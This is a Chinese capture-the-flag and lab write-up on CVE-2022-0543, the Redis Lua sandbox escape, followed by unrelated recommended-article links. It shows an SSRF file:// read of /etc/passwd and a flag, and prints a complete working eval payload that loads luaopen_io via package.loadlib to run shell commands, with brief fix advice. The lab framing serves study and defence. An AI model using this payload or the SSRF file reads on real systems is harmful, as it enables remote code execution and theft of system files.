春秋云境:CVE-2022-0543(Redis 沙盒逃逸漏洞)

目录

一、i春秋题目

二、CVE-2022-0543:(redis沙盒逃逸)

漏洞介绍:

漏洞复现:


一、i春秋题目

靶标介绍:

Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。

进入题目:

SSRF漏洞:

后面加上题目给定的网站试试:

可以跳转到百度页面:

读取系统文件:IP/?url=file:///etc/passwd

获取到flag /?url=file:///flag

flag{e30bd2d5-b4e8-4635-858f-5aac6604cd9c}

二、CVE-2022-0543:(redis沙盒逃逸)

漏洞介绍:

Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。

Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。

漏洞复现:

靶机

使用vulhub靶场:

使用vulhub靶场

安装完成后我们进入到对应目录:

cd vulhub/redis/CVE-2022-0543/

然后执行命令,进行靶场编译和运行

docker-compose build
docker-compose up -d
运行完docker-compose后,打开我们的redis就是我们的漏洞环境了

先安装redis-cli:

kali安装redis-cli:

apt-get update && apt-get upgrade  (更新源)

apt install redis-tools

redis-cli:

redis-cli -h 192.168.184.177//有漏洞IP

产生原 因:

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意 Lua 功能。

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");

local io = io_l();

local f = io.popen("id", "r");

local res = f:read("*a");

f:close();

return res

Payload: (执行命令id可以改变)

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

id命令:

whoami pwd ls

到这我们就可以执行命令了。

正式修复方案: Lua 初始化的末尾添加package=nil

****临时修复方案:****关闭服务

相关推荐
云卓科技42 分钟前
无人机之数据提取篇
科技·安全·机器人·无人机·制造
千年死缓1 小时前
go+redis基于tcp实现聊天室
redis·tcp/ip·golang
山兔11 小时前
工控安全防护机制与技术
安全
康熙38bdc1 小时前
Linux 进程优先级
linux·运维·服务器
hhzz1 小时前
Linux Shell编程快速入门以及案例(Linux一键批量启动、停止、重启Jar包Shell脚本)
android·linux·jar
只是有点小怂1 小时前
parted是 Linux 系统中用于管理磁盘分区的命令行工具
linux·运维·服务器
CyberMuse2 小时前
网络安全cybersecurity的几个新领域
网络安全
三枪一个麻辣烫2 小时前
linux基础命令
linux·运维·服务器
HEX9CF2 小时前
【CTF Web】Pikachu xss之href输出 Writeup(GET请求+反射型XSS+javascript:伪协议绕过)
开发语言·前端·javascript·安全·网络安全·ecmascript·xss
火红的小辣椒2 小时前
XSS基础
android·web安全